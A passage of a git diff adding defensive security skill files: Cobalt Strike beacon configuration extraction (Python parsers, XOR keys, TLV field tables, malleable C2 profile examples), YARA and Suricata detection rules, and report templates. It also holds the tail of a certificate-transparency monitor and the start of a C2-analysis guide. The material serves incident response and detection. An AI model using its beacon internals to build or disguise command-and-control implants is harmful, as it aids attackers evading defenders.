in certstream_alerts[:20]: + report += (f"| {alert['domain']} | {alert['issuer']} " + f"| {alert['reason']} | {alert['detected_at'][:19]} |\n") + + report += """ +## Recommendations +1. Add flagged domains to DNS sinkhole / web proxy blocklist +2. Submit takedown requests for confirmed phishing domains +3. Monitor CT logs continuously for new certificate registrations +4. Implement CAA DNS records to restrict certificate issuance for your domains +5. Deploy DMARC to prevent email spoofing from lookalike domains +""" + with open(f"ct_report_{domain.replace('.','_')}.md", "w") as f: + f.write(report) + print(f"[+] CT report saved") + return report + +generate_ct_report(suspicious, alerts if 'alerts' in dir() else [], "mycompany.com") +``` + +## Validation Criteria + +- crt.sh queries return certificate data for target domains +- Suspicious certificates identified based on lookalike patterns +- Certstream real-time monitoring detects new phishing certificates +- Subdomain enumeration produces comprehensive list from CT logs +- Alerts generated with reason classification +- CT intelligence report created with actionable recommendations + +## References + +- [crt.sh Certificate Search](https://crt.sh/) +- [Certstream Real-Time CT Monitor](https://certstream.calidog.io/) +- [River Security: CT Logs for Attack Surface Discovery](https://riversecurity.eu/finding-attack-surface-and-fraudulent-domains-via-certificate-transparency-logs/) +- [Let's Encrypt: Certificate Transparency Logs](https://letsencrypt.org/docs/ct-logs/) +- [SSLMate Cert Spotter](https://sslmate.com/certspotter/) +- [CyberSierra: CT Logs as Early Warning System](https://cybersierra.co/blog/ssl-certificate-transparency-logs/) diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md b/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md new file mode 100644 index 00000000..2da6b49d --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md @@ -0,0 +1,360 @@ +--- +name: analyzing-cobalt-strike-beacon-configuration +description: Extract and analyze Cobalt Strike beacon configuration from PE files and memory dumps to identify C2 infrastructure, malleable profiles, and operator tradecraft. +domain: cybersecurity +subdomain: malware-analysis +tags: [cobalt-strike, beacon, c2, malware-analysis, config-extraction, threat-hunting, red-team-tools] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Cobalt Strike Beacon Configuration + +## Overview + +Cobalt Strike is a commercial adversary simulation tool widely abused by threat actors for post-exploitation operations. Beacon payloads contain embedded configuration data that reveals C2 server addresses, communication protocols, sleep intervals, jitter values, malleable C2 profile settings, watermark identifiers, and encryption keys. Extracting this configuration from PE files, shellcode, or memory dumps is critical for incident responders to map attacker infrastructure and attribute campaigns. The beacon configuration is XOR-encoded using a single byte (0x69 for version 3, 0x2e for version 4) and stored in a Type-Length-Value (TLV) format within the .data section. + +## Prerequisites + +- Python 3.9+ with `dissect.cobaltstrike`, `pefile`, `yara-python` +- SentinelOne CobaltStrikeParser (`parse_beacon_config.py`) +- Hex editor (010 Editor, HxD) for manual inspection +- Understanding of PE file format and XOR encoding +- Memory dump acquisition tools (Volatility3, WinDbg) +- Network analysis tools (Wireshark) for C2 traffic correlation + +## Key Concepts + +### Beacon Configuration Structure + +Cobalt Strike beacons store their configuration as a blob of TLV (Type-Length-Value) entries within the .data section of the PE. Stageless beacons XOR the entire beacon code with a 4-byte key. The configuration blob itself uses a single-byte XOR key. Each TLV entry contains a 2-byte type identifier (e.g., 0x0001 for BeaconType, 0x0008 for C2Server), a 2-byte length, and variable-length data. + +### Malleable C2 Profiles + +The beacon configuration encodes the malleable C2 profile that dictates HTTP request/response transformations, including URI paths, headers, metadata encoding (Base64, NetBIOS), and data transforms. Analyzing these settings reveals how the beacon disguises its traffic to blend with legitimate web traffic. + +### Watermark and License Identification + +Each Cobalt Strike license embeds a unique watermark (4-byte integer) into generated beacons. Extracting the watermark can link multiple beacons to the same operator or cracked license. Known watermark databases maintained by threat intelligence providers map watermarks to specific threat actors or leaked license keys. + +## Practical Steps + +### Step 1: Extract Configuration with CobaltStrikeParser + +```python +#!/usr/bin/env python3 +"""Extract Cobalt Strike beacon config from PE or memory dump.""" +import sys +import json + +# Using SentinelOne's CobaltStrikeParser +# pip install dissect.cobaltstrike +from dissect.cobaltstrike.beacon import BeaconConfig + +def extract_beacon_config(filepath): + """Parse beacon configuration from file.""" + configs = list(BeaconConfig.from_path(filepath)) + + if not configs: + print(f"[-] No beacon configuration found in {filepath}") + return None + + for i, config in enumerate(configs): + print(f"\n[+] Beacon Configuration #{i+1}") + print(f"{'='*60}") + + settings = config.as_dict() + + # Critical fields for incident response + critical_fields = [ + "SETTING_C2_REQUEST", + "SETTING_C2_RECOVER", + "SETTING_PUBKEY", + "SETTING_DOMAINS", + "SETTING_BEACONTYPE", + "SETTING_PORT", + "SETTING_SLEEPTIME", + "SETTING_JITTER", + "SETTING_MAXGET", + "SETTING_SPAWNTO_X86", + "SETTING_SPAWNTO_X64", + "SETTING_PIPENAME", + "SETTING_WATERMARK", + "SETTING_C2_VERB_GET", + "SETTING_C2_VERB_POST", + "SETTING_USERAGENT", + "SETTING_PROTOCOL", + ] + + for field in critical_fields: + value = settings.get(field, "N/A") + print(f" {field}: {value}") + + return settings + + return None + + +def extract_c2_indicators(config): + """Extract actionable C2 indicators from beacon config.""" + indicators = { + "c2_domains": [], + "c2_ips": [], + "c2_urls": [], + "user_agent": "", + "named_pipes": [], + "spawn_processes": [], + "watermark": "", + } + + if not config: + return indicators + + # Extract C2 domains + domains = config.get("SETTING_DOMAINS", "") + if domains: + for domain in str(domains).split(","): + domain = domain.strip().rstrip("/") + if domain: + indicators["c2_domains"].append(domain) + + # Extract user agent + indicators["user_agent"] = str(config.get("SETTING_USERAGENT", "")) + + # Extract named pipes + pipe = config.get("SETTING_PIPENAME", "") + if pipe: + indicators["named_pipes"].append(str(pipe)) + + # Extract spawn-to processes + for arch in ["SETTING_SPAWNTO_X86", "SETTING_SPAWNTO_X64"]: + proc = config.get(arch, "") + if proc: + indicators["spawn_processes"].append(str(proc)) + + # Extract watermark + indicators["watermark"] = str(config.get("SETTING_WATERMARK", "")) + + return indicators + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + + config = extract_beacon_config(sys.argv[1]) + if config: + indicators = extract_c2_indicators(config) + print(f"\n[+] Extracted C2 Indicators:") + print(json.dumps(indicators, indent=2)) +``` + +### Step 2: Manual XOR Decryption of Beacon Config + +```python +import struct + +def find_and_decrypt_config(data): + """Manually locate and decrypt beacon configuration.""" + # Cobalt Strike 4.x uses 0x2e as XOR key + xor_keys = [0x2e, 0x69] # v4, v3 + + for xor_key in xor_keys: + # Search for the config magic bytes after XOR + # Config starts with 0x0001 (BeaconType) XOR'd with key + magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key, + 0x00 ^ xor_key, 0x02 ^ xor_key]) + + offset = data.find(magic) + if offset == -1: + continue + + print(f"[+] Found config at offset 0x{offset:x} (XOR key: 0x{xor_key:02x})") + + # Decrypt the config blob (typically 4096 bytes) + config_size = 4096 + encrypted = data[offset:offset + config_size] + decrypted = bytes([b ^ xor_key for b in encrypted]) + + # Parse TLV entries + entries = parse_tlv(decrypted) + return entries + + return None + + +def parse_tlv(data): + """Parse Type-Length-Value configuration entries.""" + entries = {} + offset = 0 + + # TLV field type mapping + field_names = { + 0x0001: "BeaconType", + 0x0002: "Port", + 0x0003: "SleepTime", + 0x0004: "MaxGetSize", + 0x0005: "Jitter", + 0x0006: "MaxDNS", + 0x0007: "Deprecated_PublicKey", + 0x0008: "C2Server", + 0x0009: "UserAgent", + 0x000a: "PostURI", + 0x000b: "Malleable_C2_Instructions", + 0x000c: "Deprecated_HttpGet_Metadata", + 0x000d: "SpawnTo_x86", + 0x000e: "SpawnTo_x64", + 0x000f: "CryptoScheme", + 0x001a: "Watermark", + 0x001d: "C2_HostHeader", + 0x0024: "PipeName", + 0x0025: "Year", + 0x0026: "Month", + 0x0027: "Day", + 0x0036: "ProxyHostname", + } + + while offset + 6 <= len(data): + entry_type = struct.unpack(">H", data[offset:offset+2])[0] + entry_len_type = struct.unpack(">H", data[offset+2:offset+4])[0] + entry_len = struct.unpack(">H", data[offset+4:offset+6])[0] + + if entry_type == 0: + break + + value_start = offset + 6 + value_end = value_start + entry_len + value_data = data[value_start:value_end] + + field_name = field_names.get(entry_type, f"Unknown_0x{entry_type:04x}") + + if entry_len_type == 1: # Short + value = struct.unpack(">H", value_data[:2])[0] + elif entry_len_type == 2: # Int + value = struct.unpack(">I", value_data[:4])[0] + elif entry_len_type == 3: # String/Blob + value = value_data.rstrip(b'\x00').decode('utf-8', errors='replace') + else: + value = value_data.hex() + + entries[field_name] = value + print(f" {field_name}: {value}") + + offset = value_end + + return entries +``` + +### Step 3: YARA Rule for Beacon Detection + +```python +import yara + +cobalt_strike_rule = """ +rule CobaltStrike_Beacon_Config { + meta: + description = "Detects Cobalt Strike beacon configuration" + author = "Malware Analysis Team" + date = "2025-01-01" + + strings: + // XOR'd config marker for CS 4.x (key 0x2e) + $config_v4 = { 2e 2f 2e 2c } + + // XOR'd config marker for CS 3.x (key 0x69) + $config_v3 = { 69 68 69 6b } + + // Common beacon strings + $str_pipe = "\\\\.\\pipe\\" ascii wide + $str_beacon = "beacon" ascii nocase + $str_sleeptime = "sleeptime" ascii nocase + + // Reflective loader pattern + $reflective = { 4D 5A 41 52 55 48 89 E5 } + + condition: + ($config_v4 or $config_v3) or + (2 of ($str_*) and $reflective) +} +""" + +def scan_for_beacons(filepath): + """Scan file with YARA rules for Cobalt Strike beacons.""" + rules = yara.compile(source=cobalt_strike_rule) + matches = rules.match(filepath) + + for match in matches: + print(f"[+] YARA Match: {match.rule}") + for string_match in match.strings: + offset = string_match.instances[0].offset + print(f" String: {string_match.identifier} at offset 0x{offset:x}") + + return matches +``` + +### Step 4: Network Traffic Correlation + +```python +from dissect.cobaltstrike.c2 import HttpC2Config + +def analyze_c2_profile(beacon_config): + """Analyze malleable C2 profile from beacon configuration.""" + print("\n[+] Malleable C2 Profile Analysis") + print("=" * 60) + + # HTTP GET configuration + get_verb = beacon_config.get("SETTING_C2_VERB_GET", "GET") + get_uri = beacon_config.get("SETTING_C2_REQUEST", "") + print(f"\n HTTP GET Request:") + print(f" Verb: {get_verb}") + print(f" URI: {get_uri}") + + # HTTP POST configuration + post_verb = beacon_config.get("SETTING_C2_VERB_POST", "POST") + post_uri = beacon_config.get("SETTING_C2_POSTREQ", "") + print(f"\n HTTP POST Request:") + print(f" Verb: {post_verb}") + print(f" URI: {post_uri}") + + # User Agent + ua = beacon_config.get("SETTING_USERAGENT", "") + print(f"\n User-Agent: {ua}") + + # Host header + host = beacon_config.get("SETTING_C2_HOSTHEADER", "") + print(f" Host Header: {host}") + + # Sleep and jitter for traffic pattern + sleep_ms = beacon_config.get("SETTING_SLEEPTIME", 60000) + jitter = beacon_config.get("SETTING_JITTER", 0) + print(f"\n Sleep Time: {sleep_ms}ms") + print(f" Jitter: {jitter}%") + + # Generate Suricata/Snort signatures + print(f"\n[+] Suggested Network Signatures:") + if ua: + print(f' alert http any any -> any any (msg:"CS Beacon UA"; ' + f'content:"{ua}"; http_user_agent; sid:1000001; rev:1;)') + if get_uri: + print(f' alert http any any -> any any (msg:"CS Beacon URI"; ' + f'content:"{get_uri}"; http_uri; sid:1000002; rev:1;)') +``` + +## Validation Criteria + +- Beacon configuration successfully extracted from PE file or memory dump +- C2 server domains/IPs correctly identified with port and protocol +- Malleable C2 profile parameters decoded showing HTTP transforms +- Watermark value extracted for attribution correlation +- Sleep time and jitter values match observed network beacon intervals +- YARA rules detect beacon in both packed and unpacked samples +- Network signatures generated from extracted C2 profile + +## References + +- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser) +- [dissect.cobaltstrike Library](https://github.com/fox-it/dissect.cobaltstrike) +- [SentinelLabs Beacon Configuration Analysis](https://www.sentinelone.com/labs/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/) +- [Cobalt Strike Staging and Config Extraction](https://blog.securehat.co.uk/cobaltstrike/extracting-config-from-cobaltstrike-stager-shellcode) +- [MITRE ATT&CK - Cobalt Strike S0154](https://attack.mitre.org/software/S0154/) diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md b/skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md new file mode 100644 index 00000000..2f53170a --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md @@ -0,0 +1,95 @@ +# Cobalt Strike Beacon Analysis Report Template + +## Report Metadata +| Field | Value | +|-------|-------| +| Report ID | CS-BEACON-YYYY-NNNN | +| Date | YYYY-MM-DD | +| Sample Hash (SHA-256) | | +| Classification | TLP:AMBER | +| Analyst | | + +## Beacon Configuration Summary + +| Setting | Value | +|---------|-------| +| Beacon Type | HTTP / HTTPS / SMB / DNS | +| C2 Server(s) | | +| Port | | +| Sleep Time | ms | +| Jitter | % | +| User-Agent | | +| Watermark | | +| SpawnTo (x86) | | +| SpawnTo (x64) | | +| Named Pipe | | +| Host Header | | +| Crypto Scheme | | + +## C2 Infrastructure + +| Indicator | Type | Value | Context | +|-----------|------|-------|---------| +| C2 Domain | domain | | Primary callback | +| C2 IP | ip | | Resolved address | +| URI Path (GET) | uri | | Beacon check-in | +| URI Path (POST) | uri | | Data exfiltration | + +## Malleable C2 Profile + +### HTTP GET Configuration +| Parameter | Value | +|-----------|-------| +| URI | | +| Verb | | +| Headers | | +| Metadata Encoding | | + +### HTTP POST Configuration +| Parameter | Value | +|-----------|-------| +| URI | | +| Verb | | +| ID Encoding | | +| Output Encoding | | + +## Watermark Attribution + +| Watermark | Known Association | Confidence | +|-----------|------------------|------------| +| | Cracked / Licensed / Threat Actor | High/Med/Low | + +## Network Detection Signatures + +``` +# Suricata signature for beacon C2 traffic +alert http $HOME_NET any -> $EXTERNAL_NET any ( + msg:"Cobalt Strike Beacon C2 Communication"; + content:"[USER_AGENT]"; http_user_agent; + content:"[URI_PATH]"; http_uri; + sid:1000001; rev:1; +) +``` + +## YARA Detection Rule + +```yara +rule CobaltStrike_Beacon_[CAMPAIGN] { + meta: + description = "Detects Cobalt Strike beacon from [CAMPAIGN]" + hash = "[SHA256]" + strings: + $c2 = "[C2_DOMAIN]" ascii + $pipe = "[NAMED_PIPE]" ascii + $ua = "[USER_AGENT]" ascii + condition: + 2 of them +} +``` + +## Recommendations + +1. **Block**: Add C2 domains/IPs to firewall deny lists +2. **Hunt**: Search for named pipe and spawn-to process in endpoint logs +3. **Detect**: Deploy YARA and network signatures to detection stack +4. **Correlate**: Check watermark against threat intelligence databases diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md b/skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md new file mode 100644 index 00000000..2c9c8ffe --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md @@ -0,0 +1,94 @@ +# Standards and Frameworks Reference + +## Cobalt Strike Beacon Configuration Fields + +### Configuration TLV Types +| Type ID | Field Name | Data Type | Description | +|---------|-----------|-----------|-------------| +| 0x0001 | BeaconType | Short | 0=HTTP, 1=Hybrid HTTP/DNS, 8=HTTPS, 10=TCP Bind | +| 0x0002 | Port | Short | C2 communication port | +| 0x0003 | SleepTime | Int | Beacon callback interval in milliseconds | +| 0x0005 | Jitter | Short | Percentage of sleep time randomization (0-99) | +| 0x0008 | C2Server | String | Comma-separated C2 domains/IPs | +| 0x0009 | UserAgent | String | HTTP User-Agent header value | +| 0x000a | PostURI | String | URI for HTTP POST requests | +| 0x000d | SpawnTo_x86 | String | 32-bit process to spawn for post-ex | +| 0x000e | SpawnTo_x64 | String | 64-bit process to spawn for post-ex | +| 0x001a | Watermark | Int | License watermark identifier | +| 0x0024 | PipeName | String | Named pipe for SMB beacon | +| 0x001d | HostHeader | String | HTTP Host header value | +| 0x0032 | ProxyHostname | String | Proxy server address | + +### XOR Encoding Scheme +- **Cobalt Strike 3.x**: XOR key = 0x69 +- **Cobalt Strike 4.x**: XOR key = 0x2e +- Configuration blob size: 4096 bytes (typical) +- Encoding: Single-byte XOR across entire config blob + +### Stageless Beacon Structure +- PE with beacon code in .data section +- 4-byte XOR key applied to .data section content +- Configuration embedded after beacon code +- Reflective DLL loader prepended to beacon + +## MITRE ATT&CK Mappings + +### Cobalt Strike Techniques (S0154) +| Technique | ID | Description | +|-----------|-----|------------| +| Application Layer Protocol | T1071.001 | HTTP/HTTPS C2 communication | +| Encrypted Channel | T1573.002 | AES-256 encrypted C2 | +| Ingress Tool Transfer | T1105 | Download additional payloads | +| Process Injection | T1055 | Inject into spawned processes | +| Named Pipes | T1570 | SMB beacon lateral movement | +| Service Execution | T1569.002 | PSExec-style lateral movement | +| Reflective Code Loading | T1620 | In-memory beacon loading | + +## Malleable C2 Profile Structure + +### HTTP GET Block +``` +http-get { + set uri "/path"; + client { + header "Accept" "text/html"; + metadata { + base64url; + prepend "session="; + header "Cookie"; + } + } + server { + header "Content-Type" "text/html"; + output { + print; + } + } +} +``` + +### HTTP POST Block +``` +http-post { + set uri "/submit"; + client { + id { + uri-append; + } + output { + base64; + print; + } + } + server { + output { + print; + } + } +} +``` + +## References +- [Cobalt Strike Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/) +- [Malleable C2 Profile Reference](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm) +- [MITRE ATT&CK Cobalt Strike](https://attack.mitre.org/software/S0154/) diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md b/skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md new file mode 100644 index 00000000..c0ccd1bf --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md @@ -0,0 +1,72 @@ +# Cobalt Strike Beacon Analysis Workflows + +## Workflow 1: PE File Configuration Extraction + +``` +[Suspicious PE] --> [Unpack if packed] --> [Locate .data section] --> [XOR Decrypt] + | + v + [Parse TLV Config] + | + v + [Extract C2 Indicators] +``` + +### Steps: +1. **Triage**: Identify file as potential Cobalt Strike beacon via YARA or AV detection +2. **Unpacking**: If packed, unpack using appropriate tool (UPX, custom unpacker) +3. **Section Analysis**: Locate .data section containing XOR'd beacon code +4. **XOR Key Discovery**: Try known keys (0x2e, 0x69) or brute-force 4-byte key +5. **Config Parsing**: Parse decrypted TLV entries for C2 and operational settings +6. **IOC Extraction**: Extract domains, IPs, URIs, user agents, watermarks + +## Workflow 2: Memory Dump Beacon Extraction + +``` +[Memory Dump] --> [Volatility3 malfind] --> [Dump Injected Regions] --> [Parse Config] + | + v + [C2 Infrastructure Map] +``` + +### Steps: +1. **Acquisition**: Capture memory dump from compromised system +2. **Process Scan**: Use Volatility3 to identify suspicious processes +3. **Injection Detection**: Use malfind to find RWX memory regions +4. **Region Extraction**: Dump injected memory regions to files +5. **Config Search**: Scan dumps for beacon configuration signatures +6. **Infrastructure Mapping**: Correlate extracted C2 with network logs + +## Workflow 3: Watermark Attribution + +``` +[Multiple Beacons] --> [Extract Watermarks] --> [Cluster by Watermark] --> [Attribution] + | + v + [Campaign Correlation] +``` + +### Steps: +1. **Collection**: Gather beacon samples from incident or threat intel feeds +2. **Watermark Extraction**: Extract watermark value from each sample +3. **Database Lookup**: Check watermark against known databases +4. **Clustering**: Group beacons sharing the same watermark +5. **Infrastructure Overlap**: Correlate C2 infrastructure across cluster +6. **Attribution Assessment**: Link to known threat actor or cracked license + +## Workflow 4: C2 Traffic Detection + +``` +[Beacon Config] --> [Extract C2 Profile] --> [Generate Signatures] --> [Deploy to NIDS] + | + v + [Monitor Network Traffic] +``` + +### Steps: +1. **Profile Extraction**: Parse malleable C2 profile from beacon config +2. **Pattern Identification**: Identify unique HTTP headers, URIs, and encoding +3. **Signature Creation**: Write Suricata/Snort rules matching C2 patterns +4. **Deployment**: Deploy signatures to network detection infrastructure +5. **Validation**: Test signatures against captured beacon traffic +6. **Monitoring**: Alert on matching network flows for active beacons diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/scripts/process.py b/skills/analyzing-cobalt-strike-beacon-configuration/scripts/process.py new file mode 100644 index 00000000..43e3f66d --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/scripts/process.py @@ -0,0 +1,337 @@ +#!/usr/bin/env python3 +""" +Cobalt Strike Beacon Configuration Analyzer + +Extracts and analyzes beacon configurations from PE files, shellcode, +and memory dumps using dissect.cobaltstrike and manual parsing. + +Requirements: + pip install dissect.cobaltstrike pefile yara-python + +Usage: + python process.py --file beacon.exe --output report.json + python process.py --file memdump.bin --scan-memory + python process.py --directory ./samples --batch +""" + +import argparse +import json +import os +import struct +import sys +from collections import defaultdict +from datetime import datetime +from pathlib import Path + +try: + from dissect.cobaltstrike.beacon import BeaconConfig +except ImportError: + print("ERROR: dissect.cobaltstrike not installed.") + print("Run: pip install dissect.cobaltstrike") + sys.exit(1) + + +# TLV field type mapping +TLV_FIELDS = { + 0x0001: ("BeaconType", "short"), + 0x0002: ("Port", "short"), + 0x0003: ("SleepTime", "int"), + 0x0004: ("MaxGetSize", "int"), + 0x0005: ("Jitter", "short"), + 0x0006: ("MaxDNS", "short"), + 0x0008: ("C2Server", "str"), + 0x0009: ("UserAgent", "str"), + 0x000a: ("PostURI", "str"), + 0x000b: ("Malleable_C2_Instructions", "blob"), + 0x000d: ("SpawnTo_x86", "str"), + 0x000e: ("SpawnTo_x64", "str"), + 0x000f: ("CryptoScheme", "short"), + 0x001a: ("Watermark", "int"), + 0x001d: ("HostHeader", "str"), + 0x0024: ("PipeName", "str"), + 0x0025: ("Year", "short"), + 0x0026: ("Month", "short"), + 0x0027: ("Day", "short"), + 0x002c: ("ProxyHostname", "str"), + 0x002d: ("ProxyUsername", "str"), + 0x002e: ("ProxyPassword", "str"), +} + +BEACON_TYPES = { + 0: "HTTP", + 1: "Hybrid HTTP/DNS", + 2: "SMB", + 4: "TCP", + 8: "HTTPS", + 10: "TCP Bind", + 14: "External C2", +} + + +class BeaconAnalyzer: + """Analyze Cobalt Strike beacon configurations.""" + + def __init__(self): + self.results = [] + + def analyze_file(self, filepath): + """Extract beacon config from a file.""" + filepath = Path(filepath) + if not filepath.exists(): + print(f"[-] File not found: {filepath}") + return None + + print(f"[*] Analyzing: {filepath}") + + # Try dissect.cobaltstrike first + result = self._extract_with_dissect(filepath) + + # Fall back to manual extraction + if not result: + result = self._extract_manual(filepath) + + if result: + result["source_file"] = str(filepath) + result["analysis_time"] = datetime.now().isoformat() + self.results.append(result) + + return result + + def _extract_with_dissect(self, filepath): + """Extract config using dissect.cobaltstrike library.""" + try: + configs = list(BeaconConfig.from_path(filepath)) + if not configs: + return None + + config = configs[0] + settings = config.as_dict() + + result = { + "method": "dissect.cobaltstrike", + "config": {}, + "indicators": {}, + } + + for key, value in settings.items(): + if value is not None: + result["config"][key] = str(value) + + result["indicators"] = self._extract_indicators(settings) + return result + + except Exception as e: + print(f" [!] dissect extraction failed: {e}") + return None + + def _extract_manual(self, filepath): + """Manual XOR-based config extraction.""" + try: + with open(filepath, "rb") as f: + data = f.read() + except Exception as e: + print(f" [!] Read failed: {e}") + return None + + for xor_key in [0x2e, 0x69]: + # Search for XOR'd config start marker + magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key, + 0x00 ^ xor_key, 0x02 ^ xor_key]) + + offset = data.find(magic) + if offset == -1: + continue + + print(f" [+] Config found at 0x{offset:x} (XOR key: 0x{xor_key:02x})") + + config_blob = data[offset:offset + 4096] + decrypted = bytes([b ^ xor_key for b in config_blob]) + + entries = self._parse_tlv(decrypted) + if entries: + return { + "method": "manual_xor", + "xor_key": f"0x{xor_key:02x}", + "config_offset": f"0x{offset:x}", + "config": entries, + "indicators": self._extract_indicators(entries), + } + + return None + + def _parse_tlv(self, data): + """Parse TLV configuration entries.""" + entries = {} + offset = 0 + + while offset + 6 <= len(data): + try: + entry_type = struct.unpack(">H", data[offset:offset+2])[0] + data_type = struct.unpack(">H", data[offset+2:offset+4])[0] + entry_len = struct.unpack(">H", data[offset+4:offset+6])[0] + except struct.error: + break + + if entry_type == 0 or entry_len > 4096: + break + + value_data = data[offset+6:offset+6+entry_len] + field_info = TLV_FIELDS.get(entry_type) + + if field_info: + field_name, expected_type = field_info + else: + field_name = f"Unknown_0x{entry_type:04x}" + expected_type = "blob" + + if data_type == 1 and len(value_data) >= 2: + value = struct.unpack(">H", value_data[:2])[0] + elif data_type == 2 and len(value_data) >= 4: + value = struct.unpack(">I", value_data[:4])[0] + elif data_type == 3: + value = value_data.rstrip(b'\x00').decode('utf-8', errors='replace') + else: + value = value_data.hex() + + # Resolve beacon type names + if field_name == "BeaconType" and isinstance(value, int): + value = BEACON_TYPES.get(value, f"Unknown ({value})") + + entries[field_name] = value + offset += 6 + entry_len + + return entries + + def _extract_indicators(self, config): + """Extract IOCs from parsed configuration.""" + indicators = { + "c2_servers": [], + "user_agent": "", + "named_pipes": [], + "spawn_processes": [], + "watermark": "", + "beacon_type": "", + "sleep_time_ms": 0, + "jitter_pct": 0, + } + + # Handle both dissect dict keys and manual parse keys + c2_keys = ["SETTING_DOMAINS", "C2Server"] + for key in c2_keys: + domains = config.get(key, "") + if domains: + for d in str(domains).split(","): + d = d.strip().rstrip("/") + if d: + indicators["c2_servers"].append(d) + + ua_keys = ["SETTING_USERAGENT", "UserAgent"] + for key in ua_keys: + ua = config.get(key, "") + if ua: + indicators["user_agent"] = str(ua) + + pipe_keys = ["SETTING_PIPENAME", "PipeName"] + for key in pipe_keys: + pipe = config.get(key, "") + if pipe: + indicators["named_pipes"].append(str(pipe)) + + spawn_keys = [ + ("SETTING_SPAWNTO_X86", "SpawnTo_x86"), + ("SETTING_SPAWNTO_X64", "SpawnTo_x64"), + ] + for dissect_key, manual_key in spawn_keys: + for key in [dissect_key, manual_key]: + proc = config.get(key, "") + if proc: + indicators["spawn_processes"].append(str(proc)) + + wm_keys = ["SETTING_WATERMARK", "Watermark"] + for key in wm_keys: + wm = config.get(key, "") + if wm: + indicators["watermark"] = str(wm) + + return indicators + + def batch_analyze(self, directory): + """Analyze all files in a directory.""" + directory = Path(directory) + extensions = {".exe", ".dll", ".bin", ".dmp", ".raw"} + + for filepath in directory.rglob("*"): + if filepath.suffix.lower() in extensions: + self.analyze_file(filepath) + + return self.results + + def cluster_by_watermark(self): + """Cluster analyzed beacons by watermark.""" + clusters = defaultdict(list) + + for result in self.results: + wm = result.get("indicators", {}).get("watermark", "unknown") + clusters[wm].append(result.get("source_file", "unknown")) + + return dict(clusters) + + def generate_report(self, output_path=None): + """Generate JSON analysis report.""" + report = { + "analysis_date": datetime.now().isoformat(), + "total_beacons": len(self.results), + "watermark_clusters": self.cluster_by_watermark(), + "all_c2_servers": list(set( + server + for r in self.results + for server in r.get("indicators", {}).get("c2_servers", []) + )), + "results": self.results, + } + + if output_path: + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {output_path}") + + return report + + +def main(): + parser = argparse.ArgumentParser( + description="Cobalt Strike Beacon Configuration Analyzer" + ) + parser.add_argument("--file", help="Single file to analyze") + parser.add_argument("--directory", help="Directory for batch analysis") + parser.add_argument("--output", default="beacon_report.json", + help="Output report path") + parser.add_argument("--scan-memory", action="store_true", + help="Treat input as raw memory dump") + parser.add_argument("--batch", action="store_true", + help="Batch analyze directory") + + args = parser.parse_args() + analyzer = BeaconAnalyzer() + + if args.file: + result = analyzer.analyze_file(args.file) + if result: + print(json.dumps(result, indent=2, default=str)) + + elif args.directory and args.batch: + results = analyzer.batch_analyze(args.directory) + print(f"\n[+] Analyzed {len(results)} beacons") + + else: + parser.print_help() + sys.exit(1) + + report = analyzer.generate_report(args.output) + print(f"\n[+] Total C2 servers found: {len(report['all_c2_servers'])}") + for server in report["all_c2_servers"]: + print(f" {server}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-command-and-control-communication/SKILL.md b/skills/analyzing-command-and-control-communication/SKILL.md new file mode 100644 index 00000000..8b5baa5a --- /dev/null +++ b/skills/analyzing-command-and-control-communication/SKILL.md @@ -0,0 +1,387 @@ +--- +name: analyzing-command-and-control-communication +description: > + Analyzes malware command-and-control (C2) communication protocols to understand beacon + patterns, command structures, data encoding, and infrastructure. Covers HTTP, HTTPS, DNS, + and custom protocol C2 analysis for detection development and threat intelligence. + Activates for requests involving C2 analysis, beacon detection, C2 protocol reverse + engineering, or command-and-control infrastructure mapping. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, C2, command-and-control, beacon, protocol-analysis] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Command-and-Control Communication + +## When to Use + +- Reverse engineering a malware sample has revealed network communication that needs protocol analysis +- Building network-level detection signatures for a specific C2 framework (Cobalt Strike, Metasploit, Sliver) +- Mapping C2 infrastructure including primary servers, fallback domains, and dead drops +- Analyzing encrypted or encoded C2 traffic to understand the command set and data format +- Attributing malware to a threat actor based on C2 infrastructure patterns and tooling + +**Do not use** for general network anomaly detection; this is specifically for understanding known or suspected C2 protocols from malware analysis. + +## Prerequisites + +- PCAP capture of malware network traffic (from sandbox, network tap, or full packet capture) +- Wireshark/tshark for packet-level analysis +- Reverse engineering tools (Ghidra, dnSpy) for understanding C2 code in the malware binary +- Python 3.8+ with `scapy`, `dpkt`, and `requests` for protocol analysis and replay +- Threat intelligence databases for C2 infrastructure correlation (VirusTotal, Shodan, Censys) +- JA3/JA3S fingerprint databases for TLS-based C2 identification + +## Workflow + +### Step 1: Identify the C2 Channel + +Determine the protocol and transport used for C2 communication: + +``` +C2 Communication Channels: +━━━━━━━━━━━━━━━━━━━━━━━━━ +HTTP/HTTPS: Most common; uses standard web traffic to blend in + Indicators: Regular POST/GET requests, specific URI patterns, custom headers + +DNS: Tunneling data through DNS queries and responses + Indicators: High-volume TXT queries, long subdomain names, high entropy + +Custom TCP/UDP: Proprietary 